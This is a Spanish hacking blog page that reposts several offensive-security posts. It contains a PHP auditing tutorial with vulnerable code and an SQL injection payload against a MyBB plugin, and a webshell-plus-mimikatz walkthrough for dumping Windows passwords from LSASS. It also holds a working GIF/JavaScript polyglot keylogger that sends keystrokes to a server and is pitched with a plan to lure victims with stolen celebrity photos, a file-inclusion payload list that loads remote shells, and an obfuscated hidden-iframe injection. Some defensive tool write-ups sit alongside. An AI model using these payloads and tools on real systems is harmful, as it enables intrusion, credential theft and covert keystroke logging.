Banner 1

Mostrando entradas con la etiqueta web. Mostrar todas las entradas
Mostrando entradas con la etiqueta web. Mostrar todas las entradas

Encontrando 0-days en Aplicaciones Webs

0 comentarios
1.- CREACIÓN DE UN ENTORNO DE AUDITORIA:

¿Por qué utilizar un entorno de Auditoria?

Simplemente se puede descargar el código que deseemos auditar, seguidamente se puede analizar el código utilizando un editor de texto en busca de vulnerabilidades.
Esto no es preferible, ya que hay una posibilidad muy alta de que falten cosas y seguramente tomará mucho más tiempo que mediante el uso de un entorno de Auditoria.

Web Server:

Queremos crear un servidor web donde podremos subir y probar las aplicaciones PHP, en estos casos se puede utilizar XAMPP o cualquier otro sistema que permita analizar estas aplicaciones localmente.
Es muy recomendable probar y analizar el posible código vulnerable en este servidor web (XAMPP) o en una red de confianza.

¿Que es lo que vamos a Auditar?

Ahora, cuando tenemos nuestro servidor creado tenemos que instalar cosas adicionales como WordPress, Joomla, MyBB o similares, dependiendo de lo realmente queremos auditar.

Si en estos casos vamos por un CMS independiente o simplemente una aplicación PHP que no, por supuesto, necesitamos algunos de los anteriores, pero es probable que en algún momento del tiempo pase a un blog de WordPress o un foro MyBB.
Seguidamente se mostraran los enlaces de descarga y alguna información sobre la forma de instalar algun CMS en particular:
MyBB
Guía de Instalaciónhttp://docs.mybb.com/Installing.html
WordPress
Joomla
SMF:

2.- LO QUE DEBEMOS BUSCAR:

User input:

La mayoría de vulnerabilidades son posibles porque el programador del archivo php olvida la validacion de entrada. Esto ocurre mayormente con las vulnerabilidades de SQL Injection, Cross-Site Scripting, File Inclusion, Server Side Include, Code Injection, File Upload y muchos mas.
---------------------------------------------------------------------------------------------
$_GET
Un array asociativo de variables pasadas al script actual a través de los parámetros de URL.

$_POST

Un array asociativo de variables pasadas al script actual mediante el método HTTP POST

$_REQUEST
Una matriz asociativa que contiene por defecto el contenido de $ _GET, $ _POST y $ _COOKIE.

$_COOKIE

Un array asociativo de variables pasadas al script actual a través de cookies HTTP.

$_SERVER

$ _SERVER - $ HTTP_SERVER_VARS [obsoleta] - Información del servidor y entorno de ejecución.

$_FILES

Una matriz asociativa de artículos subidos al script actual a través del
método HTTP POST.
---------------------------------------------------------------------------------------------
Posibles Funciones Vulnerables:
Sql Injection:

Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------
$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------


Existen un montón de posibilidades que las funciones de mysql sean vulnerables, para ello podemos echar un vistazo al siguiente link para obtener mas información sobre las funciones de MySql.

He aquí algunas funciones comunes que posiblemente sean vulnerables:
  • mysql_db_query - Selecciona una base de datos y ejecuta una consulta sobre el mismo.
  • mysql_fetch_array - Extrae la fila de resultado como una matriz asociativa, una matriz numérica o ambas.
  • mysql_fetch_field - Obtener información de columna del resultado y regresar como un objeto.
  • mysql_fetch_row - Devuelve una fila de resultado como una matriz enumerada.
  • mysql_num_rows - Devuelve el número de filas en el resultado.
  • mysql_result - Obtener datos de resultado.
File Inclusion:
Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------

$file = $_GET['file'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
---------------------------------------------------------------------------------------------

  • include()
  • require()

Si la aplicación no restringe cómo incluir archivos que puede leer archivos locales y posiblemente ejecutar archivos desde un servidor remoto (si allow_url_fopen está habilitado).
Upload:
---------------------------------------------------------------------------------------------

$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";
} else {
echo "There was an error uploading the file, please try again!";
}
?>
---------------------------------------------------------------------------------------------

  • $_FILES
Si la aplicación no restringe como se cargan los archivos, en estos casos se puede cargar y ejecutar cualquier tipo de archivos.
Code Execution:
---------------------------------------------------------------------------------------------

$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>
---------------------------------------------------------------------------------------------

  • passthru()
  • system()
  • eval()
  • exec()


3.- HERRAMIENTAS ÚTILES, SCRIPTS Y TÉCNICAS:

Editores de Texto:

Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la apertura de directorios como "Proyectos" (muy útil) y una función de búsqueda muy agradable.

Grep:

Grep es una utilidad de línea de comandos para la búsqueda de texto sin formato, para las líneas que coincidan con una expresión regular. Grep fue desarrollado originalmente para el sistema operativo Unix.

Grep es una herramienta muy útil cuando se trata de realizar auditorias hacia aplicaciones web. Supongamos que tenemos el siguiente código en app.php:

---------------------------------------------------------------------------------------------

$header = $_GET['header'];
if(isset($header))
{
include("headers/$header");
}
else
{
include("headers/standard.php");
}

$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
?>
---------------------------------------------------------------------------------------------

Podríamos usar una línea de comandos:
---------------------------------------------------------------------------------------------
$ grep _GET app.php
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
$header = $_GET['header'];
$id = $_GET['id'];
---------------------------------------------------------------------------------------------
Encontrar funciones mysql_*:
---------------------------------------------------------------------------------------------
grep include app.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
include("headers/$header");
include("headers/standard.php");
---------------------------------------------------------------------------------------------
Ahora digamos que tenemos 3 aplicaciones PHP en una carpeta y queremos buscar la función include en todas ellas, entonces podríamos hacer algo como esto:
---------------------------------------------------------------------------------------------
grep include *.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php: include("headers/$header");
app2.php: include("headers/standard.php");
app3.php: include("headers/$header");
app3.php: include("headers/standard.php");
app.php: include("headers/$header");
app.php: include("headers/standard.php");
---------------------------------------------------------------------------------------------
Si queremos dar salida al número de línea, puede utilizar el argumento -n de esta manera:
---------------------------------------------------------------------------------------------
grep include *.php -n
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php:5: include("headers/$header");
app2.php:9: include("headers/standard.php");
app3.php:5: include("headers/$header");
app3.php:9: include("headers/standard.php");
app.php:5: include("headers/$header");
app.php:9: include("headers/standard.php");
---------------------------------------------------------------------------------------------

Ahora queremos comprobar si las palabras 'SELECT' y 'FROM' se pueden encontrar:
---------------------------------------------------------------------------------------------
grep 'SELECT\|FROM' app.php -n
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------


Si queremos que coincida con una cadena e ignorar mayúsculas y minúsculas se utiliza el argumento -i:
---------------------------------------------------------------------------------------------
grep 'sEleCt\|FroM' app.php -n -i
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------

Algunas otras herramientas para auditar archivos php: http://www.hotscripts.com/blog/6-free-php-security-auditing-tools/

4.- AUDITORIA EN EL MUNDO REAL:

Vamos a echar un vistazo a un ejemplo del mundo real, un exploit público, y ver si podemos encontrar las vulnerabilidades:
MyBB DyMy User Agent SQL Injection:
Vamos a descargar la aplicación vulnerable y colocarlo en nuestra carpeta de plugins. Lo primero que debemos hacer es abrirlo en el Editor de texto:
Ahora vamos a empezar con un poco de búsqueda básica para posibles funciones vulnerables y cosas similares:
---------------------------------------------------------------------------------------------
grep "\$_GET" dymy_ua.php -i -n
grep "\$_GET" dymy_ua.php -i -n
grep "mysql_" dymy_ua.php -i -n
grep "include" dymy_ua.php -i -n
---------------------------------------------------------------------------------------------
Salida:
Nada util.
¿Por qué no encontrar nada? ¿Estamos haciendo algo mal? La respuesta está en el código fuente, vamos a echar un vistazo:
---------------------------------------------------------------------------------------------
function dymy_ua_install()
{
global $db;

$db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
}
---------------------------------------------------------------------------------------------
Si alguna vez has visto el codigo fuente de los plug-in de MyBB, echa un vistazo a los siguientes documentos para obtener una mejor comprensión de lo que está mal aquí:
Así que cuando estemos auditando Plugins MyBB tenemos que cambiar nuestros métodos de auditoría un poco.
Vamos a buscar $db, ya que se utiliza en Plugins MyBB para las interacciones de bases de datos. Volvamos a la terminal y probar algunas cosas nuevas.
---------------------------------------------------------------------------------------------
grep "\$db" dymy_ua.php -i -n 
---------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------
56: global $db;
58: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
63: global $db;
65: if($db->field_exists("useragent", "posts"))
75: global $db;
77: $db->delete_query("templategroups", "title='DyMy User Agent Templates'");
78: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts DROP `useragent`");
83: global $db;
85: $q = $db->simple_select("templategroups", "COUNT(*) as count", "title = 'DyMy User Agent'");
86: $c = $db->fetch_field($q, "count");
87: $db->free_result($q);
95: $db->insert_query("templategroups", $ins);
101: "template" => $db->escape_string(' {$os}'),
106: $db->insert_query("templates", $ins);
111: "template" => $db->escape_string(' {$browser}'),
116: $db->insert_query("templates", $ins);
125: global $db;
127: $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'");
------------------------------------------------------------------------------------------------------------------
Como esto no es mucho lo que podemos manipular, vamos a ir a 127 líneas y ver qué pasa:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_deactivate()
{
global $db;

$db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'"); // Line 27

require_once MYBB_ROOT."/inc/adminfunctions_templates.php";
find_replace_templatesets('postbit',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}')."#",'',0);
find_replace_templatesets('postbit_classic',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}
')."#",'',0);
}

function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}

function dymy_ua_postbit(&$post)
{
global $templates;

if(isset($post['browser']) && isset($post['system']) && !empty($post['browser']) && !empty($post['system']) && empty($post['useragent']))
{
$os = str_ireplace("icon_", "", $post['system']);
$browser = str_ireplace("icon_", "", $post['browser']);
$browser = preg_replace("#^linux([a-z])#si", "$1", $browser);
}
...
------------------------------------------------------------------------------------------------------------------
En este nos damos cuenta de algo muy bonito, eche un vistazo a esto:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}
------------------------------------------------------------------------------------------------------------------
Vemos aquí que la aplicación inserta el user_agent sin ningún tipo de desinfección. Vamos a encender nuestro foro MyBB en nuestro localhost y tratar de analizar estos datos.
Activar el plugin en tu panel de administración y luego ir a un hilo y despues usar el Live HTTP Headers.
Vamos a ver este lado de nuestro mensaje:
Así que ahora, vamos a tratar algunas pruebas básicas para ver si la vulnerabilidad de inyección SQL en realidad existe:
Ah, maravilloso! Ahora vamos a jugar un rato con él hasta que tengamos una consulta agradable para la inyección.
Después de algunas pruebas vamos a salir con esta consulta:
------------------------------------------------------------------------------------------------------------------
' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)B)); #
------------------------------------------------------------------------------------------------------------------
5.- NUEVO 0-DAY - MyFlags MyBB plugins SQL Injection:
La vulnerabilidad de inyección SQL que existe en MyBB Plugin HM_My Country Flags:
Cuando este plugins se activa un usuario puede ir a su panel de control y ver esto:
Cada vez que el usuario vea su nacionalidad se mostrará junto a sus mensajes:
Abrimos Live HTTP Headers y pulsamos en el Pais, en las cabeceras HTTP Live copie la direccion URL (localhost/mybb/misc.php?action=hmflags&cnam=Belgium&pf=5') y pega esto en una nueva pestaña.
Ahora ponga un ' después el país:
Salida:
------------------------------------------------------------------------------------------------------------------
MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Belgium''' at line 1
Query:
SELECT * FROM mybb_users u LEFT JOIN mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON (u.uid=f.ufid) WHERE fid5='Belgium'' 
------------------------------------------------------------------------------------------------------------------
Ajustar un poco y podrás averiguar que es unión basada con un montón de columnas:

Espero que haya disfrutado de este tutorial y pueda ayudarte a encontrar vulnerabilidades 0-days en aplicaciones webs.

Tutorial PHP:
Tutorial MySQL:
CRÉDITOS:
Autor: Join7
 
Fuente: http://www.sniferl4bs.com/2014/06/encontrando-0-days-en-aplicaciones-webs.html

EXTRAYENDO CONTRASEÑAS DE LA RAM CON MIMIKATZ 2.0 (ALFA)

0 comentarios
Mimikatz 2.0 (ALFA), esta herramienta puede ser particularmente útil durante la etapa de explotación de vulnerabilidades en un servicio de pentest, por ejemplo la explotación de una aplicación web vulnerable a carga de archivos (File Upload) sin restricciones en muchos ataques es el primer paso para tomar control del sistema objetivo.

A continuación, el ataque sólo tiene que encontrar la manera de ejecutar código luego de subir la respectiva webshell "phpshel.php" vemos que nos encontramos con permisos de "NT AUTHORITY\SYSTEM" y queremos extraer la clave del "Administrator", lo primero que pensamos es "la hago con meterpreter" y cuando logramos subirlo el antivirus del servidor web afectado reconoce dicha herramienta como código "malicioso"...

Para este caso podríamos utilizar la técnica que nos presenta mimikatz 2.0 (ALFA) puesto que en esta nueva versión ya no es necesario “inyectar” la librería "sekurlsa.dll" en el proceso de LSASS mimikatz# inject::process lsass.exe sekurlsa.dll, en esta nueva versión la técnica se basa en la obtención de contraseñas en texto plano volcando el proceso LSASS.EXE desde la memoria RAM, sin necesidad de ejecutar código "malicioso" en el servidor, de esta forma se evita tener que lidiar con técnicas de evasión antivirus y otros dolores de cabeza.

En este post me gustaría mostrar paso a paso como podemos usar la funcionalidad de mimikatz 2.0 (ALFA) explotando una aplicación web vulnerable a carga de archivos sobre un servidor Windows 2008.

1.SUBIENDO LAS HERRAMIENTAS

Subir las herramientas usando una aplicación vulnerable a carga de archivos (File Upload).
En caso de tener problemas para hallar la ruta en donde se han almacenado los archivos cargados en el servidor, podríamos usar Dirbuster para tratar de descubrir el directorio en donde se encuentren nuestros archivos en este caso se hallaron en "/webapp/admin/panel/images/"

phpshell.php; para realizar la ejecución de comandos en el servidor web afectado.
procdump.exe; nos permitirá realizar el volcar el espacio de memoria RAM del proceso LSASS.EXE a un archivo.dmp (dump)


Subiendo "WebShell" al servidor

Subiendo "procdump" al servidor


2.VOLCANDO LA RAM DEL SERVIDOR WEB

Ejecución del comando "dir" en el servidor para confirmar se logro subir la herramienta procdump.exe y el script desde donde se ejecutara (script.dumper.bat)

Usaremos Procdump para volcar el espacio de la memoria RAM asignado al proceso LSASS.EXE y generar archivo “dump” que se usará fuera de linea para conseguir la contraseña del "Administrador local" y/o del "Domain Admin".

Ejecución comando "dir" mediante phpshell.php?cmd=dir

Como utilizo procdump.exe?

Se ejecutara desde el archivo script.dumper.bat donde llamaremos a procdump.exe y le pasaremos los siguientes parámetros:

-accepteula : opción de línea de comando para aceptar automáticamente el contrato de licencia de Sysinternals.
-ma : escribir un archivo de volcado con toda la memoria del proceso. El formato de volcado predeterminado sólo incluye hilos (threads) del proceso e información de gestión.

Por último la ubicación donde se guardara el archivo con el volcado del proceso lsass.exe (C:\xampp\htdocs\webapp\admin\panel\images\) una ubicación donde se pueda descargar vía el servidor web.

Procdump : http://technet.microsoft.com/sysinternals/dd996900.aspx
type script.dumper.bat
C:\xampp\htdocs\webapp\admin\panel\images\procdump.exe 

-accepteula 

-ma lsass.exe 

C:\xampp\htdocs\webapp\admin\panel\images\%COMPUTERNAME%_lsass.dmp
Contenido del script "script.dumper.bat"

Como ejecutar script.dumper.bat en el servidor web?
Ejecución script.bat mediante phpshell.php?cmd=script.dumper.bat

Descargar el archivo “dump” para explotarlo con #mimikat
Descarga del volcado de la RAM desde el directorio web


3.USANDO MIMIKATZ 2.0 - Modulo MINIDUMP!!

Descargar mimikatz desde el repositorio oficial gentilkiwi, descomprimir e ingresar desde la consola de comandos ejecutando mimikatz.exe.
mimikatz # privilege::debug
mimikatz # sekurlsa::minidump nombre-del-archivo-dump-descargado.dmp
mimikatz # sekurlsa::logonpasswords


Listado de Archivos.

Enumeración de hashes y claves en texto plano del usuario Administrador


Herramientas utilizadas: Mimikatz: http://blog.gentilkiwi.com/securite/mimikatz/minidump
Procdump: http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx

Fuente: http://ehopen-sec.blogspot.com/2014/01/extrayendo-contrasenas-de-la-ram-con.html

Parsero: auditando robots.txt

0 comentarios
Hoy vengo a traerles una herramienta para auditar el famoso protocolo que utilizan las webs para no dejarse ver por el buscador.
Este script desarrollado en Python, toma el archivo robots.txt que impide a los buscadores indexar ciertos path de la página y lo analiza, retornando cuáles son el estado de cada una de las entradas.
Herramienta fácil de utilizar y con la opción de buscar también los Disallow por el buscador de Microsoft, Bing.
Ya que muchos administradores creen que simplemente denegando el indexado desde aquí ya están seguros, es una buena herramienta para testearlos.
Mírenlo en funcionamiento:
Así que si no quieren tener problemas con Parsero, mejor que administren y bloqueen correctamente los controles de acceso.
El link a la descarga es: Parsero
 
Fuente: http://tutoriales-hacking.blogspot.com/2014/03/parsero-auditando-robotstxt.html

Como saber en que lenguaje esta desarrollada una página web

0 comentarios

Buenas tardes.

 Builtwith es una interesante herramienta online que informa, con tan solo introducir la dirección web de cualquier site, con que CMS está gestionado, que sistemas de publicidad utiliza, los widgets que tiene en funcionamiento, el tipo de servidor donde se encuentra alojado, las herramientas utilizadas para el análisis del tráfico o las tecnologías en que está desarrollado, entre otros datos.

Dependiendo de la complejidad del website el informe será mas o menos extenso.
 
Además del análisis ofrecido, Builtwith incluye un listado de los sitios más importantes y populares que utilicen las mismas tecnologías que el site testeado, un porcentaje del uso general de dicha tecnología y un enlace donde encontrar más información sobre la misma.

También he leído que existe un complemento para firefox que hace esto mismo de forma mas cómoda pero al momento de escribir esta entrada la página de dicho complemento esta en mantenimiento así que no pude realizar pruebas del mismo, de igual forma pueden probar el complemento llamado Wappalyizer.


Fuentes:
http://placerdigital.net/como-saber-que-tecnologias-usa-un-sitio-web/
http://www.desarrolloweb.com/de_interes/builtwith-descubre-como-esta-hecha-otra-web-826.html

Descargas:

Accede a Builtwith.
Accede al complemento

Web Application Protection (testiando las vulnerabilidades de una página antes de producción)

0 comentarios

wap2 Web Application ProtectionEn el proceso de desarrollo de un aplicativo , es necesario contar con ciertos procedimientos antes de subir esa  a producción. Uno de esos pasos es una revisión de para testear que en la fase de desarrollo no se haya cometido ningún fallo.

Es por eso que nacen proyectos como , que se encargará de testear la seguridad de los aplicativos web en PHP.
, es capaz de detectar el siguiente conjunto de vulnerabilidades:
  • SQL injection using MySQL, PostgreSQL and DB2 DBMS
  • Reflected cross-site scripting (XSS)
  • Stored XSS
  • Remote file inclusion
  • Local file inclusion
  • Directory traversal
  • Source code disclosure
  • OS command injection
  • PHP code injection
Además de la particularidad de poder detectar el conjunto de fallos, aplicará una corrección del código fuente.
Lo primero que haremos será descargar la herramienta:
wap Web Application Protection
Una vez que hemos descargado la herramienta lo que tendremos que hacer es escoger aquel proyecto que queramos analizar.

Para la prueba escogeremos el proyecto de DVWA, bajamos el proyecto y lanzamos el análisis:
wap3 Web Application Protection
Lo que hará la herramienta es analizar el proyecto en PHP y buscar por una vulnerabilidad en concreto, yo le he indicado que busque vulnerabilidades del tipo SQL Injection.

Una vez que la herramienta a analizado el código podremos ver los resultados:
wap4 Web Application Protection
Podemos ver que la herramienta a analizado el proyecto que le hemos pasado y, además ha podido sacar la SQL Injection y ha podido subsanarla.

Como os decía, la herramienta es capaz de aplicar la corrección para evitar la inyección detectada.
wap5 Web Application Protection
Aquí tenemos el código que subsanaría el fallo de la aplicación.

Otra de las cosas que es capaz de detectar la aplicación son falsos positivos:
wap6 Web Application Protection
Sin duda, además de pasar los tests oportunos como pasar un QA, tienen que haber tests específicos para pasar los checks de seguridad.

En este caso, WAP, no cubre todos los aspectos, pero por lo menos es una capa de seguridad que podemos automatizar antes de subir la aplicación a producción.

[+]http://sourceforge.net/projects/awap

Fuente: http://www.dragonjar.org/web-application-protection.xhtml

Robar contraseñas usando gifs y javascript

0 comentarios
Ange Albertini (padre de Angecryption que más adelante veremos) es sin duda un auténtico mago a la hora de crear binarios "políglotas", que son ficheros que tienen simultáneamente varios formatos. Por ejemplo PDF/ZIP/JPG/Audio, PE/PDF/HTML/ZIP, TrueCrypt/PDF/ZIP, etc. Es decir, cada uno de estos ficheros pueden ser abiertos por varias aplicaciones sin error.

Una de las cosas que más nos interesan, dado el mundo de maldad y desenfreno en el que vivimos los hackers"piratas informáticos", es la técnica para abusar de la cabecera de los ficheros GIFs y añadir código Javascript. El resultado un fichero GIF que sea un fichero GIF y JS al mismo tiempo.

Imaginad... basta con publicar anónimamente una copia de una de las últimas imágenes robadas de alguna famosa y recibiremos miles y miles de visitas de incautas (pero satisfechas) víctimas, cuyos navegadores ejecutan de forma silenciosa código javascript...

Ajin Abraham planteaba un escenario similar y muy interesante con Xenotic. Nosotros haremos también una simple PoC cargando un sencillo keylogger con php. Ni que decir tiene que la demo es básica y no incluye cifrado, técnicas de evasión, ni filtros JS... eso y las fotos guarras las pone cada uno... XD

Primero vamos a apañar nuestro keylogger que publicaremos con cualquier servidor web con soporte php (en nuestro caso XAMPP). Para ello añadiremos al DocumentRoot estos tres archivos y echaremos a correr:

keylogger.php


php
if(!empty($_GET['c'])) {
    $logfile = fopen('data.txt', 'a+');
    fwrite($logfile, $_GET['c']);
    fclose($logfile);
}
?>

keylogger.js

var keys = '';
document.onkeypress = function(e) {
    var get = window.event ? event : e;
    var key = get.keyCode ? get.keyCode : get.charCode;
    key = String.fromCharCode(key);
    keys += key;
}
window.setInterval(function(){
    new Image().src = 'http://localhost/keylogger.php?c=' + keys;
    keys = '';
}, 1000);


index.html

 src="img.gif" />

Como podéis comprobar en el index.html se llama al mismo fichero gif como si fuera un script JS. ¿Cómo conseguimos que esto luego funcione? Pues el "truco" está en añadir “=1″ para que el motor JS no considere los caracteres de la cabecera como una variable no definida. Y luego, para escapar caracteres especiales, usamos las marcas de comentario “/*” y “*/”. De esta manera podremos llamar al javascript keylogger.js. Veamos el ejemplo construyendo nuestro gif malicioso desde ensamblador:


WIDTH equ 10799 ;  equivalente a 2f2a, que es '/*' en ASCII, para empezar a abrir un comentario
HEIGTH equ 100 ; sólo para que sea más fácil de detectar
db 'GIF89a'
    dw WIDTH, HEIGTH
db 0 ; GCT
    db -1 ; color de fondo
    db 0 ; relación de aspecto por defecto
db 02ch  ; descriptor de imagen
    dw 0, 0 ; NW corner
    dw WIDTH, HEIGTH ; ancho y alto de la imagen
    db 0 ; color de la tabla
db 2 ; tamaño lzw
db 0
db 3bh ; terminador del gif
db '*/' ; cierre del comentario
db '=1;' ; para falso uso de esa cadena GIF89a
;db ' alert(1) '
db 's = document.createElement("script");' 
db 's.src = "http://localhost/keylogger.js";'
db 'document.body.appendChild(s);'

El resultado al compilarlo con YASM y visto en hexadecimal será el siguiente:

yasm gifjs.asm -o img.gif



Para comprobar que funciona abrimos la URL local con Chrome, vemos la imagen, pulsamos F12 y comprobamos que nuestro keylogger está en funcionamiento:






Ahora mira la siguiente imagen y... mientras la miras... piensa... y analiza si tú también has podido ser jodido comprometido... ;)

 

Fuente:  http://www.hackplayers.com/2014/11/el-GIF-que-tambien-queria-ser-JS.html

Exploiting PHP File Inclusion – Overview

0 comentarios
Para ver mejor la forma de explotación remitir a la fuente.

Recently I see a lot of questions regarding PHP File Inclusions and the possibilities you have. So I decided to give a small overview. All the tricks have been described in detail somewhere earlier, but I like it to have them summed up at one place.

Basic Local File Inclusion:


1
include("inc/" . $_GET['file']); ?>

  • Including files in the same directory:
    ?file=.htaccess
  • Path Traversal:
    ?file=../../../../../../../../../var/lib/locate.db
    (this file is very interesting because it lets you search the filesystem, other files)
  • Including injected PHP code:
    ?file=../../../../../../../../../var/log/apache/error.log
    Limited Local File Inclusion:
    1
    include("inc/" . $_GET['file'] . ".htm"); ?>
    • Null Byte Injection:
      ?file=../../../../../../../../../etc/passwd
      (requires magic_quotes_gpc=off)
    • Directory Listing with Null Byte Injection:
      ?file=../../../../../../../../../var/www/accounts/
      (UFS filesystem only, requires magic_quotes_gpc=off, more details here)
    • Path Truncation:
      ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
      (more details see here and here)
    • Dot Truncation:
      ?file=../../../../../../../../../etc/passwd……………. …
      (Windows only, more details here)
    • Reverse Path Truncation:
      ?file=../../../../ [...] ../../../../../etc/passwd
      (more details here)
    Basic Remote File Inclusion
    1
    include($_GET['file']); ?>
    • Including Remote Code:
      ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
      (requires allow_url_fopen=On and allow_url_include=On)
    • Using PHP stream php://input:
      ?file=php://input
      (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
    • Using PHP stream php://filter:
      ?file=php://filter/convert.base64-encode/resource=index.php
      (lets you read PHP source because it wont get evaluated in base64. More details here and here)
    • Using data URIs:
      ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
      (requires allow_url_include=On)
    • Using XSS:
      ?file=http://127.0.0.1/path/xss.php?xss=phpcode
      (makes sense if firewalled or only whitelisted domains allowed)
    Limited Remote File Inclusion
    1
    include($_GET['file'] . ".htm"); ?>
    • ?file=http://websec.wordpress.com/shell
    • ?file=http://websec.wordpress.com/shell.txt?
    • ?file=http://websec.wordpress.com/shell.txt%23
    • (requires allow_url_fopen=On and allow_url_include=On)
    • ?file=\\evilshare\shell.php
    • (bypasses allow_url_fopen=Off)
    Static Remote File Inclusion:
    • Man In The Middle
      (lame indeed, but often forgotten)
    Filter evasion
    • Access files with wildcards (read more here)
    Of course you can combine all the tricks. If you are aware of any other or interesting files to include please leave a comment and I’ll add them.
Fuente: http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

Links de interés:

http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection
http://www.theprohack.com/2009/07/null-byte-hack.html
http://hakipedia.com/index.php/Poison_Null_Byte
https://www.owasp.org/index.php/Unrestricted_File_Upload --Completo

How to Exploit an Iframe Vulnerability & Security

0 comentarios

Web application security is always an important topic to discuss because websites seem to be the first target of malicious hackers. Hackers use websites to spread their malwares and worms, and they use the compromised websites for spamming and other purposes. OWASP has created an outline to secure a web application from the most dangerous vulnerabilities in web application, but it is always good to be actively learning about the new weaknesses and the new ways that an attacker might use to hack into a web application.


Hackers are always trying to discover new ways to trick a user so from a penetration tester’s point of view a website administrator should take care of each and every vulnerability and the weaknesses that an attacker may exploit to hack into a website. There are so many automatic tools and manual techniques available to test a website for the most common vulnerabilities, like SQL-injection, cross site scripting, security misconfiguration and others, but we should take care about the variant of these vulnerabilities. SQL-injection is dangerous because an attacker may get access into a database and steal the information of the user and the administrator of the website, but what if an attacker simply hijacks the user or simply redirects your visitor to a malicious website. This can break the trust of the visitor on your website.

In this article, we will discuss the attack at HTML level or attack at HTML codes, iframe is the part of HTML or a technique used in HTML to embed some file (document, video and others) in the same HTML page. The simple way to explain iframe is that “iframe is the technique to display the information from another web page within the same (current) page”. Security risk in iframe is an important topic to discuss because the usage of iframe is very common- even the most famous social networking websites are using iframe. The simple attribute to use iframe is as follows:


The above statement shows how to display another website within a website.

Example 2:



Width and height of an iframe has been defined, but since the frame visibility is hidden there is no physical presence of Infosec Institute’s website. This technique is not used by the attacker because the frame occupies the area (width and height).


Now it is completely hidden from the user’s eye, but the iframe is working as normal. Look at the picture below.



Obfuscated iFrame Injection Attacks

Obfuscated iframe injection attack is a dangerous and tricky attack because it is very difficult to detect and find the malicious injection code on a website. Obfuscated is the way to hide the meaning of the communication so that it is difficult to find the injected code. The aim of this attack is the same- to trick the user and then redirect to the third party web page to exploit the user. If a website has been compromised by using iframe injection attack, then it is easy to find and locate the injection code because the code is easy to read. However, in an obfuscated iframe injection attack, it is not easy to read the injected code.

Let’s consider an example- A website has been compromised and it redirects or displays another web page within a page to sell some products. The visitor of this website trusts your website, and they usually purchase products so you need to make sure to clean the website from this tricky attack. A simple way is to review the index page for the possible iframe and redirect code. Let’s suppose you have reviewed but have not found any URL of the third party website. Now, there is no URL of the third party website so what is the problem? Sometimes attackers use human weaknesses (social engineering technique) in a web application attack. Let’s suppose there is a code like:

++++%23wp+/+GPL%0A%3CScript+Language%3D%27Javascript%27%3E%0A++++%3C%21--%0A++++document.write%28unescape%28%273c696672616d65207372633d27687474703a2f2f696e666
f736563696e737469747574652e636f6d2f272077696474683d273127206865696768743d273127207374
796c653d277669736962696c6974793a2068696464656e3b273e3c2f696672616d653e%27%29%29%3B%0A

++++//--%3E%0A++++%3C/Script%3E

It seems to be normal and an important code for this website; but in reality, it is the root cause of the problem. Let’s decode it by using the java decoding function and the result is:
#wp / GPL

   
-->

